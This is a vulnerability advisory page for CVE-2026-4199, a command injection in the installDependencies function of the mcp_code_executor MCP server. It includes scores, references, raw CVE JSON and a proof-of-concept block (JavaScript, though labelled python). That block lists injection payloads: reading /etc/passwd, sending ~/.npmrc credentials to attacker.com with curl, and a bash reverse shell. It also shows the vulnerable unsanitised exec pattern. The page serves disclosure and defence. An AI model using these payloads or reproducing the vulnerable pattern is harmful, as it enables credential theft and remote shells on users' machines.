Security Vulnerability Report
中文
CVE-2026-4199 CVSS 5.3 MEDIUM

CVE-2026-4199

Published: 2026-03-16 14:20:05
Last Modified: 2026-04-29 01:00:02

Description

A vulnerability was identified in bazinga012 mcp_code_executor up to 0.3.0. Affected by this issue is the function installDependencies of the file src/index.ts. Such manipulation leads to command injection. The attack can only be performed from a local environment. The exploit is publicly available and might be used. It is best practice to apply a patch to resolve this issue. The project was informed of the problem early through an issue report but has not responded yet.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

mcp_code_executor <= 0.3.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-4199 PoC - Command Injection in mcp_code_executor // Target: bazinga012/mcp_code_executor <= 0.3.0 // Function: installDependencies in src/index.ts // Malicious payload examples: // 1. Basic command injection using backticks const maliciousInput1 = "package; whoami"; // 2. Using command substitution const maliciousInput2 = "$(whoami)"; // 3. Using pipe to chain commands const maliciousInput3 = "package | cat /etc/passwd"; // 4. Exfiltrating sensitive data const maliciousInput4 = "package && curl https://attacker.com/exfil?data=$(cat ~/.npmrc)"; // 5. Reverse shell attempt const maliciousInput5 = "package; bash -i >& /dev/tcp/attacker-ip/port 0>&1"; // Example vulnerable code pattern (to be avoided): /* function installDependencies(dependency) { // VULNERABLE: Direct command execution without sanitization const command = `npm install ${dependency}`; exec(command, (error, stdout, stderr) => { // ... }); } // Attacker can call: // installDependencies("package; malicious_command") // installDependencies("$(malicious_command)") */ console.log("[+] CVE-2026-4199 PoC Demonstrating Command Injection"); console.log("[*] Attack vectors can be triggered through the installDependencies function"); console.log("[*] Requires local access and low privileges"); console.log("[*] Impact: Arbitrary command execution on target system");

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4199", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:20:04.617", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was identified in bazinga012 mcp_code_executor up to 0.3.0. Affected by this issue is the function installDependencies of the file src/index.ts. Such manipulation leads to command injection. The attack can only be performed from a local environment. The exploit is publicly available and might be used. It is best practice to apply a patch to resolve this issue. The project was informed of the problem early through an issue report but has not responded yet."}, {"lang": "es", "value": "Una vulnerabilidad fue identificada en bazinga012 mcp_code_executor hasta la versión 0.3.0. La función installDependencies del archivo src/index.ts se ve afectada por este problema. Dicha manipulación conduce a inyección de comandos. El ataque solo puede realizarse desde un entorno local. El exploit está disponible públicamente y podría ser utilizado. Es una buena práctica aplicar un parche para resolver este problema. El proyecto fue informado del problema con antelación a través de un informe de incidencias, pero aún no ha respondido."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.9, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:L/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 4.3, "accessVector": "LOCAL", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 3.1, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-77"}]}], "references": [{"url": "https://github.com/bazinga012/mcp_code_executor/", "source": "[email protected]"}, {"url": "https://github.com/bazinga012/mcp_code_executor/issues/17", "source": "[email protected]"}, {"url": "https://github.com/bazinga012/mcp_code_executor/pull/18/commits/a94ec2fea318597646ba1c44d8e44eb1c9196d20", "source": "[email protected]"}, {"url": "https://github.com/user-attachments/files/25931133/mcp_code_executor_security_advisory.pdf", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.351111", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.351111", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.770424", "source": "[email protected]"}]}}